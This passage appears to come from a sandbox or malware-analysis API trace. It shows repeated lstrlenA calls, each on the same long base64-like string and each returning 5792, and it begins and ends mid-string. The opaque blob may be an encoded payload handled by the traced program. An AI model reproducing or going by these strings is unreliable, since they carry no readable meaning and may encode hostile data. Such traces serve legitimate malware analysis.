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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq